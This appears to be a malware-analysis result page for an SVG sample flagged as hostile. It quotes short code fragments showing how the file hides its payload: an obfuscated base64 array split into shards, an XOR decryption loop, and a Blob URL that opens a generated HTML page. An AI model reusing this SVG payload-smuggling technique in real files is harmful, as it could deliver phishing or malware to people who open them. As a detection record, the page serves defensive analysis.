Hostile ^100% Download

64286266f8d011f6a7cd3cc1d091c9b2ff5305a49374fc079d8914f97a3c9558.7z

SVG executes obfuscated malicious payload

SVG script builds and opens HTML payloadReassembles scrambled base64 payload shards

SHA-25664286266f8d011f6a7cd3cc1d091c9b2ff5305a49374fc079d8914f97a3c9558

Evidence

Reassembles scrambled base64 payload shards line 908564

908564…/></g></g>
        <script><![CDATA[

var _jHsGajSgvC = ['RJyKSEeLDc/Awo6JwY7Mzc3IxUWdS4pNAEZNy4tUyMvCAUuI1kzazsYKzsv…

XOR-decrypts a base64 payload array line 1038562

1038562… i = 0; i < bytes.length; i++) {
        out.push(bytes[i] ^ key.charCodeAt(i % key.length));
    }
    return new Ui…

SVG script builds and opens HTML payload line 1039272

1039272…
            e.stopPropagation();

            var blob = new Blob([html], {type:"text/html"});
            var url =…

No evidence locations were recorded for this file. Raw result